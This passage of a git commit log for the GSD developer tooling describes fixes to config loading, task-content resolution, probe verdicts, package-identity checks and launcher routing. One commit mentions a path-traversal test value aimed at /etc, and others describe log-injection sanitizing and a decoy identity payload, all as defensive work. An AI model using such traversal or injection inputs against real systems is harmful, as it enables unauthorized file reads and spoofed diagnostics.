The quick workflow ran its discussion phase before its research phase unconditionally — neither quick.md nor its steps ever read workflow.research_before_questions, though the key is documented, schema-registered, /gsd-settings-writable, and honored by /gsd-discuss-phase and /gsd-new-project. A gray-area answer given without research is then written to <quick_id>-CONTEXT.md as a locked decision downstream agents are told not to revisit — an evidence-free choice made unfalsifiable (the reporter's #3714 misresolution). - quick.md Step 4 now carries the same research-before-questions check the two honoring paths make: when enabled, research-phase executes before discussion-phase; false/unset keeps the written order. Both sections stay section-manifest gated. - src/config-loader.cts forwarded workflow.post_planning_gaps from ~/.gsd/defaults.json but silently dropped this key — same file, same nesting, one resolved and one didn't.

Tom Boucher	dd4f179672	feat(#3970 ): per-task external-tracker content-resolution seam (#4000 ) * feat(#3970): per-task external-tracker content-resolution seam Implements ADR-3646 (Phase 1, #3970): a `<task tracker-id="...">` attribute plus a new optional `taskContentResolver` capability-manifest field let a capability resolve a task's action/verify/acceptance-criteria/read_first/done content from an external issue tracker instead of PLAN.md's inline body. - src/plan-document.cts: parses the `tracker-id` attribute into `PlanTask.trackerId` - src/task-content-resolution.cts: new leaf module — split/find/build/resolve, with a hard-halt (throw) contract on ambiguous/failed/timeout/malformed resolution, never a silent fallback to possibly-stale inline text - src/task-command-router.cts: new `task resolve-content --plan --task-id --raw` CLI verb wiring the module into a real process exit code - gsd-core/bin/lib/capability-validator.cjs: validates the new `taskContentResolver` manifest field (feature-role only, cross-capability trackerPrefix uniqueness) - gsd-core/workflows/execute-plan.md, gsd-core/references/loop-hook-dispatch.md, docs/reference/capability-manifest.md: wire the seam into the per-task loop and document it as a new `execute:task` point outside the existing contribution/step/gate vocabulary (unconditional in autonomous mode) Closes #3970 * fix(#3970): gate checkpoint tasks out of content resolution, close trackerPrefix grammar parity gap, cover path-traversal guard Standards/Spec code-review pass on the task-content-resolution seam (ADR-3646 Phase 1) found three defects: 1. execute-plan.md's task-content-resolution bullet fired on any tracker-id-bearing task with no check that it wasn't type="checkpoint:", contradicting ADR-3646 Decision 1 (a checkpoint task must never enter resolve-content). plan-document.cts already parses trackerId: null unconditionally for checkpoint tasks; only the workflow prose needed the fix, so the bullet now explicitly excludes checkpoint tasks. 2. task-content-resolution.cts's parseResolverDeclaration accepted any non-empty trackerPrefix with no grammar check, while capability- validator.cjs's KEBAB_RE enforces kebab-case at install time — a Generative Fix Divergence gap. Added the same grammar (as a literal regex, documented as intentionally not shared across the .cts/.cjs build boundary) plus a parity test asserting the two surfaces agree across a valid/invalid trackerPrefix table. 3. task-command-router.cts's routeResolveContent path-traversal guard on --plan had zero test coverage. Added a test exercising a ../../../etc/passwit-shaped path and asserting the USAGE rejection names the offending path. fix(#3970): sanitize resolver diagnostics and cap resolver timeoutMs Two findings caught by an isolated security-review pass on the task content resolution seam: - ResolverFailedError/ResolverMalformedOutputError embedded raw, unsanitized subprocess stderr/stdout (attacker/model-influenced via the tracker-id argv token) into .message. A hostile or buggy resolver could smuggle a newline plus a forged "Error: " line, or terminal escape sequences, into a diagnostic io.cjs's error() writes verbatim to stderr. Fixed at the constructor (task-content-resolution.cts) via io.cjs's existing formatDiagnosticToken(), so every caller of resolveTaskContent gets a safe .message by construction. - capability-validator.cjs's validateTaskContentResolverFields had no upper bound on taskContentResolver.invoke.timeoutMs, letting a manifest declare an effectively unbounded value and defeat the "bounded subprocess" design intent. Added a 120000ms ceiling specific to this field, without touching the shared isPositiveIntegerMs() helper (still used unbounded by the reviewer lane's timeoutFloorMs and probe timeoutMs). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#3970): fix gsd-test failures — stale prose allowlist line and stderr-vs-message assertion gsd-test (remote dockerized matrix) came back red with 5 failures on this PR; all five are real defects, fixed here. - tests/no-bare-gsd-tools-command-position.test.cjs: PROSE_ALLOWLIST's execute-plan.md entry pointed at line 415, which ffc190df4's checkpoint-exclusion caveat (added near line 221) shifted down by one line. The actual "validated downstream by gsd-tools uat classify-coverage" descriptive mention now sits at line 416. Updated the allowlist entry's line number to match. - tests/task-command-router-resolve-content.test.cjs: the path-traversal test asserted the outside-project-scope diagnostic against the thrown ExitError's own .message. io.cts's error() (ADR-3889) writes its human-readable message to fd 2 via writeAllSync and then throws a bare `new ExitError(1)` with no message argument — by design, so the exception carries no duplicate text and the thrown ExitError's message defaults to "process exit 1" (cli-exit.cts's ExitError constructor). Root cause was the test, not the source: task-command-router.cjs's outside-project-scope rejection already calls error() correctly and the diagnostic text is genuinely emitted, just on fd 2, not on the exception. Fixed the test to capture fd-2 writes (mirroring tests/estimate-calibrate.test.cjs's runCalibrateExpectError and this same file's own captureStdout for fd 1) and assert against the captured stderr text instead of err.message. This was masked locally because a manual `node -e` sanity check that only inspects the caught exception's .message cannot see what the real node:test run actually failed on. Emitted-Drift-Ack-Growth: execute-plan.md — adds the ADR-3646 task-content-resolution bullet and checkpoint-exclusion caveat to the per-task execute loop; a real behavioral prose addition, not incidental bloat.

Tom Boucher	03b7125293	enhance(#3909 ): a probe that could not run no longer asserts a verdict (#3944 ) * test(#3909): failing-first suite for the fabricated probe fallbacks Binds the four fabrication sites found by executing the surfaces (ADR-3889 failure class (c)), each with a positive control so an over-firing fix goes red: - the blocking api-coverage.verify-pre gate certifying "no external-API integration" from a zero-byte phase scope - the assumption-delta query route scanning an unresolvable phase section as the empty string and reporting it as an examined negative - both capability fragments' probe fallbacks, which append a fabricated verdict rather than replacing, and fire on the legitimate exit-1 negative Verification runs on the remote runner. Refs #3909 * enhance(#3909): a probe that could not run no longer asserts a verdict ADR-3889 Phase 5. Four sites turned a failed or unexamined probe into a confident negative; each now reports what it could not establish. - check api-coverage.verify-pre: a phase with no plan body and no roadmap section ran detection over zero bytes and PASSED the blocking seal gate, certifying "no external-API integration" from input it never read. It now holds with scope_unavailable. The discriminator is bytes examined, never signals found, so a phase whose plans are real and simply carry no API vocabulary passes exactly as before. - query assumption-delta scan: an unresolvable phase section was scanned as the empty string and reported as an examined negative. It now returns {skipped, reason: phase_unresolved}, still at exit 0 — an ADR-2980 degraded result in the payload, leaving the gsd-tools exit projection to P8. - both capability fragments: `\|\| echo '{"detected":false}'` appended rather than replaced, and fired on the legitimate exit-1 negative, so a correct answer and an honest skip both arrived as two concatenated objects. They now keep the probe's own payload and manufacture only an explicit probe_unavailable skip when the probe produced nothing at all. Every registered outcome is more restrictive on a blocking gate, so this can turn a false green red and never a red green. Docs: FEATURES 156, CONFIGURATION (both keys), references/api-coverage.md seal-time outcome table, and a new how-to for the reason-code vocabulary. Verification runs on the remote runner. Closes #3909 * test(#3909): correct the stale unknown-phase assertion `unknown phase → detected:false, no throw (graceful)` scanned phase 999 against a two-phase roadmap and asserted `detected === false`. That pinned the fabrication as intended behavior: the phase does not exist, so the detector was handed the empty string and its "no core assumption changed" answer described nothing that was ever read. It now asserts the skipped-with-reason shape. The graceful-degradation contract the test was actually protecting — the query succeeds and does not throw on an unknown phase — is unchanged. Found by code review, not by the author. Refs #3909 * docs(#3909): author the FEATURES entry in its generator source `docs/FEATURES.md` is generated by `scripts/gen-features.cjs` from the per-feature fragments in `docs/features/`. The API-coverage entry was edited in the generated file, so the next regeneration silently dropped it. The text now lives in `docs/features/api-coverage-gate.md` and `docs/FEATURES.md` is regenerated from it, leaving the shipped file byte-identical and its content actually derivable. Caught by `lint:generated-sync`. Refs #3909 * test(#3909): bind the skip to "not found", and pin the discriminator The first verification run went red on one case, and the case was wrong rather than the code. `getRoadmapPhaseWithFallback` returns `null` for an unknown phase and for a missing ROADMAP.md, but for a section whose body is whitespace-only it returns the heading line alone — which is not empty. So a body-less section WAS found, and reporting `detected:false` over its heading is a real negative, not a fabrication. The test had assumed the resolver yielded `''` there. Correcting the test rather than the resolver keeps `skipped` bound to the distinction the issue asks for — found versus not found — and avoids diverging `assumption-delta scan` from `roadmap.get-phase`, which the fragment documents as sharing one resolver. Also adds the seeded property the test matrix had promised: for any plan body, the scope read back is whitespace-only exactly when the body was. That pins the gate's discriminator to bytes examined, so it cannot quietly become "no signals found", across unicode whitespace and CRLF. `docs/INVENTORY.md` picks up the reference doc's new seal-time outcome table — surfaced by the co-change gate, not by a lint failure.

Tom Boucher	c5f2b94b27	enhance(#3907 ): gates report no-input instead of a verdict they never reached (#3932 ) * feat(#3907): gates report no-input instead of asserting a verdict they never reached The three stdin-reading gates bound 2 to a stdin read error only, with no arm for stdin closed at zero bytes - so empty input flowed into the detector, found nothing, and exited 1, which each module's own comment defines as a negative verdict. An unset PHASE_SECTION made the UI gate assert the phase has no UI. Empty and whitespace-only input now exit NO_INPUT, and a read error exits UNAVAILABLE rather than a locally-invented 2, both resolved through the registry and delivered by terminateNow. The exit code was only half of it: under --json the same input emitted {detected:false}, byte-identical to the fabricated payload #3909 exists to fix, and the blocking coverage gate reads that payload. Empty input now emits the in-tree {skipped:true,reason} form with no detected key at all. teams-status is excluded: it never reads stdin and has no invented 2, so the four-module framing in the issue and ADR is wrong. The dead root bin/lib/ui-safety-gate.cjs is deleted - no installer reference, no workflow invocation, and the live fallback chains are for other modules. Its removal restores the unit tests to the module that actually ships; they had been asserting the stale copy's two-field shape, which is why it drifted unnoticed. * fix(#3907): drive gate tests through the process seam, and make removed-but-needed basename-precise CONTRIBUTING requires every subprocess go through tests/helpers/process-seam.cjs; two of the three gate suites hand-rolled spawnSync while the third, added in the same change, used runNode correctly for the identical injection case. Converted the blocks this change added, leaving pre-existing ones alone. Deleting one of two files sharing a basename made lint-removed-but-needed report 14 references that were all to the surviving canonical module - the false-positive class its own docstring names. It now matches on the deleted file's full path when a surviving file shares its basename, which is more precise rather than weaker: a genuine full-path reference still fails, and behaviour is unchanged when no basename collides. It immediately caught a docstring on this branch that spelled the deleted path. * test(#3907): update the one existing assertion that pinned the old empty-stdin verdict A pre-existing test asserted exit 1 on empty stdin - the defect this phase removes - and was missed because the change added new blocks without auditing existing ones pinning the old contract. Audited the rest: the other three status-1 assertions in that file all feed real input and are the genuine-negative controls that must keep returning 1, so exactly one was stale. The retired 2 is gone from the describe's contract comment too. * chore(#3907): backfill changeset pr number --------- Co-authored-by: sim <sim@local>	2026-08-27 11:37:31 -04:00
Tom Boucher	fb2d122d7f	feat(#3841 ): assert gsd-tools identity on every state-mutating verb (#3848 ) * feat(#3841): assert gsd-tools identity before any state-mutating verb only this package publishes. The path-based branches — a project-local install, a runtime config directory — had no such guarantee; they trusted their configured location. This closes them. Mechanism: once resolution finishes, and before any verb runs, the preamble probes the tool it picked with `runtime-identity --raw` and matches the answer with a shell `case` pattern ANCHORED to the start of the compact payload (`{"packageName":"@opengsd/gsd-core"`). An unanchored substring match accepts the decoy `{"packageName":"get-shit-done-cc","note":"@opengsd/gsd-core"}`, which any colliding package could publish. The outcome is exported as the two-valued `GSD_IDENTITY_STATUS` (`ok`/`unverified`), so the gate is asserted on a VALUE rather than on warning prose. Rollout is warn-then-fail per the #3146 ruling: `unverified` prints one line naming BOTH causes and continues, because `no_identity_verb` cannot tell a foreign package from an `@opengsd/gsd-core` older than the verb, and at rollout the old-version case is the common one. The blocker was byte budget, not design. The preamble is inlined into 112 shipped files and several sat within single-digit bytes of frozen ceilings (`gsd-verifier.md` 16 bytes, `gsd-executor.md` 33, `execute-phase.md` 234); a first attempt broke five of them. What made room was collapsing the resolver's twenty near-identical `elif [ -f … ]` arms into one candidate-list helper (`_gsd_at`), which buys far more than the assertion costs. The preamble is now 2,624 bytes against 4,500 — a net 1,876 bytes SMALLER per inlined file, so every capped file moved away from its ceiling rather than toward it. No cap raised, no size-budget exception added, no override token emitted. Resolution order, every runtime-home probe, the `unset -f gsd_run` re-source fix, the fail-closed `exit 1`, and the `CLAUDE_ENV_FILE` persistence are all preserved byte-for-byte in substring terms; the snippet still begins with `_GSD_SHIM_NAME=` and still ends with `fi`, which the parity extractors anchor on. `gsd-core/references/gsd-run-resolver.md` is re-synced byte-equal. Also fixes two stale claims found in passing: CONTEXT.md and FEATURES.md both described an `[ -x ]` guard as the load-bearing re-source defense. That guard was tried and REMOVED in #3831 — it rejected the bare function name, fell through every branch, and hit `exit 1`, which kills a sourced caller's shell. `unset -f gsd_run` is the actual mechanism. Refs #3841 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3841): pair the anchor's brace by requiring a closed identity payload The matrix went red on `tests/new-project-mvp-prompt.test.cjs` — "new-project.md has unbalanced braces: net depth 2" — plus a knock-on report from its parent `bug #1516` describe, which is the same failure counted once at the child and once at the block. Root cause: that guard (:182-189, mirroring #3784 bd53925f) walks characters and increments on `{`, decrements on `}`, with no awareness of shell quoting. It scans `new-project.md` PLUS every `new-project/steps/.md`, and both `new-project.md` and `steps/auto-mode-config.md` carry one inlined preamble copy — hence net 2 from a snippet that was off by exactly one. The unpaired brace was the `{` inside the single-quoted `case` pattern of the identity anchor, which is correct shell and invisible to a text scanner. Fix in the snippet, not the guard. The pattern now anchors at BOTH ends: `'{"packageName":"@opengsd/gsd-core"''}'`. That balances 51/51 with a brace that does real work rather than a cosmetic pair — a truncated payload whose prefix matches now fails too, where before it verified. Safe for any future additive field: a JSON object's own closing brace is always the last character, whatever type the last value has, which is pinned by two negative-space tests (a nested object and an array-valued last key must both still verify). Cost: +3 bytes, against the 1,873 the resolver fold already gave back. The alternative considered and rejected was dropping the literal `{` for a `?` glob. It balances too, but weakens the anchor from "must be an opening brace" to "must be any one character", and the anchor is the entire point. Two guards added so this cannot recur silently: - runtime-launcher-parity (F0) pins brace balance at the SNIPPET, so the next edit to that pattern fails on the file it broke instead of surfacing three files downstream in a test whose name mentions neither the launcher nor this issue. It also asserts depth never goes negative, since a `}` preceding its `{` nets to zero while being unbalanced at every prefix. - runtime-identity gains behavioral truncated-payload and trailing-garbage fixtures, so the added `}` is proven load-bearing rather than merely present. Verified: snippet 51/51 braces; new-project combined net depth 0; the seven other preamble-bearing files with nonzero depth are unchanged from merged next (their own prose, not the preamble, and not in any guard's scan set); all 112 inlined copies and the resolver reference re-synced byte-equal; sync:launcher idempotent on the second run.

Tom Boucher	63abcface9	feat(#3146 ): resolve gsd_run so workflows cannot reach a foreign gsd-tools (#3831 ) * feat(#3146): resolve gsd_run so workflows cannot reach a foreign gsd-tools The predecessor package get-shit-done-cc publishes a colliding gsd-tools bin whose phases.clear DELETES where this package's ARCHIVES, and both print success-shaped output against a gitignored .planning/ -- which is how #3129 cost a user 43 phase directories with no error and nothing recoverable from git. The launcher's PATH branch now resolves gsd_run, published only by this package and self-locating via its own symlink chain to the sibling shim, instead of the colliding gsd-tools. A foreign handler becomes unreachable from PATH, and when no gsd_run is reachable the resolver fails closed rather than falling back -- that fallback was the vulnerability. This is smaller than the branch it replaces, which matters: the preamble is inlined into 113 shipped files and agents/gsd-verifier.md sits 2 bytes under a red-line size cap. unset -f gsd_run leads the preamble so a re-source is idempotent. Without it, command -v finds the shell function, returns a bare name, and the resolver falls through to an exit 1 that kills a sourced caller's shell. Adds gsd-tools runtime-identity, a manual diagnostic reporting this runtime's package coordinates over the baked package-identity (#498) and readHostVersion, with a strict total classifier: only a JSON object with an exact packageName verifies, since JSON.parse admits 0/"str"/[]/null/true. An inlined identity assertion was built and reviewed first, then withdrawn -- it breaks five frozen size ceilings and no assertion fits in 2 bytes. Closes #3146 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3146): stop sync:launcher relocating a deliberate preamble placement Pre-existing defect, surfaced by this PR because sync is a no-op unless the snippet content actually changes. transformFile inserts the preamble into the first block that CALLS gsd_run, but gsd-core/workflows/explore.md deliberately places it in a bootstrap-only block that DEFINES gsd_run without calling it -- its own comment explains why: declining the research offer must not leave Step 5's commit call unbootstrapped. Stripping empties that block of calls, so the preamble migrated forward and broke the define-before-use invariant tests/explore-command.test.cjs pins. Reproduced on a pristine origin/next checkout with the base snippet and base file, so this was not introduced here. The insertion target now honours a block that already carried the preamble, falling back to the first calling block for files that have none yet. Adds a behavioral regression test over a two-block fixture. Also updates three runtime-launcher-parity tests that pinned the removed PATH fallback to gsd-tools. Their intent is preserved -- the PATH stub is renamed gsd_run so it is reachable by the new resolver, and the RUNTIME_DIR-wins test still asserts the stub is never invoked. Fixture shebangs move to an absolute /bin/sh, because the fixture PATH is deliberately restricted and #!/usr/bin/env sh could not resolve.

Two PRs adding differently numbered features still collide on the TOC, so renumbering alone does not make a branch safe. This branch alone was renumbered 165 -> 166 -> 167 -> 168 across successive rebases. Adds a CONTRIBUTING section stating the practice: allocate the number last, never pre-emptively renumber, take max+1 after a rebase and update the TOC in the same commit, and never renumber someone else's section. Fork contributors are told explicitly they may leave the number to a maintainer at merge rather than chasing the counter. Agents are told to lease the allocation and to include the file in their published touched set. Records the durable fix as planned rather than pretending it exists: FEATURES.md should be generated from per-feature fragments the way CHANGELOG.md is generated from .changeset/, and the way tests/emitted-drift-acks/ works (#2914).

Tom Boucher	aaf47c5fc2	fix(#3691 ): let every reviewer lane take a prompt cap, and make the documented global resolve (#3832 ) * test(#3691): failing-first coverage for the reviewer prompt budget No prompt cap can reach any CLI reviewer lane, by any configuration. Two independent defects compound: all nine `transport: spawn` lanes declare `promptBudgetKey: null`, so `budgetFor` returns on its first line; and the documented global `review.max_prompt_tokens` is advertised in the schema manifest but declared nowhere, so the resolver never materializes it and `budgetFor`'s fallback is dead code. Adds to tests/reviewer-config-federation.test.cjs, which already owns the per-reviewer budget config-set/config-get idiom: - a CLI lane inherits the global cap (RED: reports null) - an http lane with the -1 sentinel inherits the global cap (RED: reports null) - the resolved review surface carries max_prompt_tokens at all (RED: absent) - per-lane overrides the global on a CLI lane - the sentinel boundary: -1 inherits, 0 means do-not-trim and must NOT read as unset, 1 is the smallest real budget — the regression budgetFor's own comment warns about - anti-tightening pins that must stay green: an empty config leaves every lane null, the three existing budgeted lanes are unchanged, and config-set still rejects a per-reviewer key naming something that is not a declared lane - a fast-check property over the resolution contract itself, with -1, 0 and non-finite inputs generated explicitly rather than left to chance Every row was reproduced by hand against the real CLI before being written, so the RED/GREEN split is observed rather than predicted. Refs #3691 * fix(#3691): let every reviewer lane take a prompt cap, and make the global resolve No prompt cap could reach any CLI reviewer lane, by any configuration. Two independent defects compounded. The nine spawn-transport lanes — claude, coderabbit, antigravity, cursor, gemini, codex, kimi-code, opencode, qwen — declared `promptBudgetKey: null`, so `budgetFor` returned on its first line and `review-lane plan` reported `promptBudget: null` no matter what was configured. Each now declares `review.max_prompt_tokens_per_reviewer.<slug>` with the same `-1`-is-unset sentinel the three local-server lanes already use. Separately, the central `review.max_prompt_tokens` was listed in the schema manifest's validKeys and documented as a supported setting, but declared nowhere — the resolved surface is built from capability declarations plus the defaults manifest, and neither carried it. `configGet` returned undefined and `budgetFor`'s documented fallback was dead code. It is now declared with a `null` default, exactly as docs/CONFIGURATION.md already specified, so the default behavior is unchanged: nothing configured means nothing trims. Two things the diagnosis had not predicted, found and fixed while implementing: - `REVIEWER_LANES` in src/review-lane-descriptor.cts is a second, hardcoded registration site that `mergeReviewerLanes` prefers over the capability registry on a slug collision. Editing only the capability files left every CLI lane still null. Both sites now agree. - The generated `gsd-core/bin/lib/capability-registry.cjs` was stale and masked the capability edits; regenerated with `npm run gen:capability-registry` rather than hand-edited. docs/CONFIGURATION.md said "Only lanes that declare a budget key accept one — today ollama, lm_studio and llama_cpp". That is false as of this change and is corrected rather than left to rot. The trim-versus-refuse question the issue raises is deliberately not taken up here: the refusal path already exists for the case that matters — a reviewer whose minimum set exceeds its budget is skipped rather than sent a misleading prompt — and trimming above that floor is the documented, shipped design of the feature. Changing it would alter behavior for the three lanes that already work, which is not what the issue asks for. Fixes #3691 * fix(#3691): document the new global and narrow an invariant this change obsoleted The full suite surfaced two consequences of giving every CLI lane a budget key. `review.max_prompt_tokens` entered CONFIG_DEFAULTS without a matching entry in the planning-config reference, which config-field-docs guards. Documented, including the sentinel semantics a reader needs: a per-lane value overrides the global, `-1` means unset and inherits it, and `0` means "do not trim that lane" and is not unset. The #2797 federation guard asserted that "a lane with no model flag and no host owns no config keys". That held only because budget keys existed solely on the three local-server lanes, all of which have hosts. A lane can now legitimately own a config key for a third reason, so qwen tripped it. The assertion is narrowed rather than weakened: such a lane must still own no model key and no host key, and may own at most its own `review.max_prompt_tokens_per_reviewer.<slug>` — never another lane's. That is strictly more specific in the dimensions that still matter. Proven to still bite: hypothetically giving qwen a `review.models.qwen` key fails it with `model/host: review.models.qwen`. The name and comment cite #3691 for why the premise changed, so a reader sees a deliberate narrowing, not erosion. Checked the sibling assertions in that describe block; the other three do not rest on the obsolete premise and are untouched. Refs #3691 * fix(#3685): port the write-flag content-change contract to its three sibling sites #3685 fixed `phase complete`'s `roadmap_updated` / `state_updated`, which reported `fs.existsSync(path)` rather than whether the transaction wrote anything. Three sibling sites carried the identical defect and are ported here. - `cmdPhaseRemove` reported `roadmap_updated: true`, hardcoded. `updateRoadmapAfterPhaseRemoval` now returns whether the content changed and the flag reports it. #2640/#2974 already fixed `state_updated` at this same call site and left this one behind, so the correct shape was adjacent. - `cmdMilestoneComplete` reported `state_updated: fs.existsSync(statePath)` — byte-identical to #3685's bug in a different command. - `cmdMilestoneComplete` reported `milestones_updated: true`, hardcoded, never consulting the MILESTONES.md write. `gsd-core/workflows/remove-phase.md:100` extracts `roadmap_updated` for display and never branches on it, so the flip from always-true to content-based changes no workflow behavior. Verified by reading the step, not assumed. One trap found while implementing: the obvious in-memory `finalContent !== originalStateContent` comparison — copying `cmdPhaseComplete`'s shipped shape verbatim — gives a FALSE POSITIVE for milestone completion. `platformWriteSync` normalizes Markdown at write time, and the milestone-closure transform regenerates `## Current Position` fresh on every call, so its pre-normalize output always differs from the already-normalized file on disk even when the persisted bytes are identical. The comparison is therefore made against the post-write on-disk content. `cmdPhaseComplete`'s own comparisons are left untouched — their repeat-no-op tests pass, so they are not exposed to this artifact. `milestones_updated` has no reachable no-op: the MILESTONES.md write unconditionally appends an entry every call. Only the true direction is pinned, documented inline rather than faked with a passing test. Refs #3685 * fix(#3685): compare write-flag content through the writer's own normalizer An independent reviewer disproved a claim made while porting #3685's contract to its sibling sites: that `cmdPhaseComplete`'s comparisons were not exposed to the Markdown-normalization artifact already diagnosed in `cmdMilestoneComplete`. `platformWriteSync` normalizes on write — CRLF stripped, blank-line runs collapsed, a blank line inserted after a heading, a single trailing newline enforced. Every flag that compares the PRE-normalization in-memory string against the on-disk pre-image can therefore report a change when the persisted bytes are identical. `cmdMilestoneComplete` had been worked around by re-reading the file after the write; the other sites compared raw strings. All of them now go through one exported seam, `contentChangedAfterNormalize(filePath, before, after)`, which normalizes both sides exactly as the writer does. That removes the extra disk read the milestone workaround needed, and makes the sites agree by construction rather than by four independent implementations of one rule — the divergence the repo names as an anti-pattern. Reachability, stated precisely rather than uniformly: the seam is load-bearing at `cmdPhaseComplete`'s `roadmapUpdated`, `requirementsUpdated` and `stateUpdated`, where section-rewrite logic genuinely regenerates content into a different-but-normalization-equivalent shape. At `updateRoadmapAfterPhaseRemoval` it is defense-in-depth: the no-match branch never reassigns `content`, so the raw comparison was already correct there. The first analysis claimed the reverse; this is the corrected finding. Also fixes an unsound test premise the remote suite caught. The byte-identity precondition in `roadmap_updated is false when ROADMAP.md comes out byte-identical` asserted against a hand-authored, un-normalized fixture — so the very first write reformatted it and the file could not come back identical. The fixture is now written already-normalized, so the assertion compares a normalized pre-image against a normalized post-image and still fails if the flag regresses to a hardcoded `true`. Not platform-specific; it reproduces on macOS too, and the earlier local check simply never exercised it. The sibling true-direction and milestone tests were checked for the same premise and do not share it — they assert `notEqual`, or compare two post-write states produced through the same normalizing seam.

Tom Boucher	8442d984b9	fix(#3809 ): route runtime-loaded markdown through the gsd_run launcher (#3815 ) * test(#3809): generalize dead-ref guard into a rule table (failing first) The #2020 guard hardcoded `sdk/(src\|dist\|handlers)/` — the three dead paths that had caused that storm. That proved those three paths were gone and said nothing about the class, so #3809 reproduced the identical Windows find.exe storm under a different token and the guard could not see it. Replaces the single regex with a rule table over the same runtime-loaded markdown surface, adds `commands/` to the scan set (previously uncovered), and adds rule B: the runtime shim filename must never appear in command position, because it is not a PATH command and an agent that meets it falls back to locating the file. Rule B's matcher is deliberately lenient — the launcher's own resolver assignment, `node <path>/<shim>` calls, bare paths, and prose that names the file all stay unflagged, each pinned by a negative-space row. This commit is expected to FAIL: 50 offenders across 23 files remain in the tree. The remediation lands next. Refs #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3809): route every workflow call through the gsd_run launcher 50 places across 23 runtime-loaded workflow, agent, reference, and command files instructed the agent to run the runtime shim by filename. That filename is not on PATH under any name -- package.json ships gsd-core, gsd-tools, gsd_run and gsd-mcp-server -- so the call exited 127, the file-shaped token sent the agent looking for the file, and on Git Bash for Windows the resulting `find /` walked the entire drive (7268 CPU-seconds in the report) until somebody killed it by hand. CONTEXT.md -> Runtime Launcher Module already makes gsd_run the single entry point: "Canonical space-safe shell preamble (`gsd_run`) used by every workflow bash block to invoke the GSD runtime CLI." These sites predate that rule -- they trace to `0e6907050` (docs(#195): migrate workflow markdown off gsd-sdk query), which swapped one non-PATH token for another. Two further instances of the same class surfaced during remediation and are fixed here rather than left for later: - references/model-profiles.md prescribed `node <shim> effort sync` with no path at all; node resolves a bare filename against cwd, so it fails the same way. - references/universal-anti-patterns.md rule 25 instructed every agent to "use <shim>" when shelling out. That rule did not contain the defect, it prescribed it repo-wide. Five "(or legacy <shim>)" parentheticals left dangling by the substitution are removed; after the rewrite they offered the non-resolving form as an alternative. The guard from the previous commit now passes. Its node-prefix exemption was tightened to require a path separator, which is what exposed model-profiles. Fixes #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3809): key the guard on the CLI's whole verb roster, not observed usage Review found the first cut of rule B repeating the very mistake it exists to prevent. Its verb set held query, commit and effort -- the verbs that happened to appear in the tree -- so it could not see `<shim> phase add`, `<shim> state load`, `<shim> verify ...` or twenty-odd other real single-word subcommands. A guard that only recognises yesterday's offenders is not a guard. The set is now the CLI's full advertised roster, unioned from the usage banner and HOST_COMMAND_ROUTERS (which carries verification, planning, uat, stats, todo and windows, all absent from the banner). Widening it immediately caught a live offender the first pass had missed: references/planning-config.md prescribed `node <shim> worktree set-baseref` with no path. Fixed here. Also drops the "a hyphen or a dot means subcommand" heuristic, which was unsound for prose -- it flagged `built-in` and `v1.2`. Detection now keys entirely on the roster, testing the first dot-segment so that phase.add and state.patch still match while prose does not. Both false positives are pinned as negative-space rows. Guard verified against the pre-fix tree at origin/next: 52 offenders across 25 files, and 0 after this branch's remediation. Refs #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3809): derive the verb roster from the router; repair launcher parity Standards review caught the guard repeating the defect it exists to prevent. Its verb list was a hand-copied literal -- and worse, transcribed from an INSTALLED older binary, so it was missing 22 verbs this tree actually ships (websearch, windows, state-snapshot, context-predicates and the dispatch-* family among them). gsd-tools.cjs already carries three hand-maintained rosters whose drift is a named defect pinned by the parity test in tests/commands.test.cjs; a hand-copied fourth was that same defect wearing a guard's clothes. The roster is now derived from HOST_COMMAND_ROUTERS + TOP_LEVEL_USAGE, lazily and memoised, with `query` supplemented explicitly -- it dispatches through the routing hub ahead of the host-router table, so it appears in neither export, yet 45 of the 50 offenders used it. A parity test pins the derivation. Two regressions this branch introduced, both caught by the remote runner: - runtime-launcher-parity: rewriting a comment in gsd-research-synthesizer.md put a `gsd_run` token at line 65 while the canonical preamble sits at 158, breaking "exactly ONE preamble, before the first gsd_run call". The comment is descriptive and needs no command token at all; it now names none. - The #2751 guard's PROSE_ALLOWLIST entry for that same line went stale once the line stopped carrying a bare mention. Pruned, exactly as that guard's own stale-entry test instructs. Also corrects git-planning-commit.md, where the first pass rewrote only the trailing "legacy" clause and left the sentence reading backwards. Note the #2751 guard and this one are complementary, not duplicates: its regex requires whitespace immediately after `gsd-tools`, so it cannot match the `.cjs` form, and this one only matches the `.cjs` form. Refs #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2751): extend the bare-command guard to references/ and commands/ The #2751 guard has only ever scanned agents/ and gsd-core/workflows/. Two runtime-loaded directories were never in its scan set, and 47 bare `gsd-tools <verb>` calls had accumulated there unseen -- the same defect that guard exists to catch, in the rooms it never entered. - gsd-core/references/: 37 calls, all rewritten to gsd_run. references are fragments inlined into a parent that defines the launcher, which is why 21 of the 22 files already using gsd_run carry no local preamble. - commands/gsd/: 10 operative calls rewritten. The remaining 10 are descriptive prose ("resolved inside the workflow via ...") and are allowlisted with reasons, bringing PROSE_ALLOWLIST to 15. commands/ also came under launcher propagation. sync-runtime-launcher.cjs walked only WORKFLOWS_DIR and AGENTS_DIR, so every preamble under commands/ was a hand-pasted copy nothing propagated and no test checked -- graphify.md had accumulated five. It now walks COMMANDS_DIR too, which collapses those five to the canonical one-per-file, and runtime-launcher-parity gains a (B-commands) arm mirroring (B-agents) exactly so the placement stays honest. The parity arm keys on shell blocks, so commands/gsd/workstreams.md and config.md -- which name gsd_run only in inline backtick prose -- are exempt, as they should be. gsd_run is itself a shipped npm bin, so those inline instructions resolve from PATH exactly as the gsd-tools form they replace did. skills/ is deliberately NOT added to either guard's scan set: it is generated from commands/ and pinned by lint:generated-sync, so guarding the source guards both, and scanning the mirror would double-report every future offender. Regenerated here. Refs #2751, #3809 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#3809): acknowledge the one emitted file this change grows The emitted-attribution gate failed on the previous sha: gsd-research-synthesizer.md grew 3 bytes (13847 -> 13850) with no acknowledgment. The substitution SHRANK the other 19 emitted files, which is why the growth arm was not expected to fire at all. The 3 bytes are unavoidable. Line 65 is a descriptive comment inside a fenced block; naming any command there puts a gsd_run token ahead of the file's canonical preamble at line 158, which runtime-launcher-parity's (B-agents) arm correctly rejects. So the 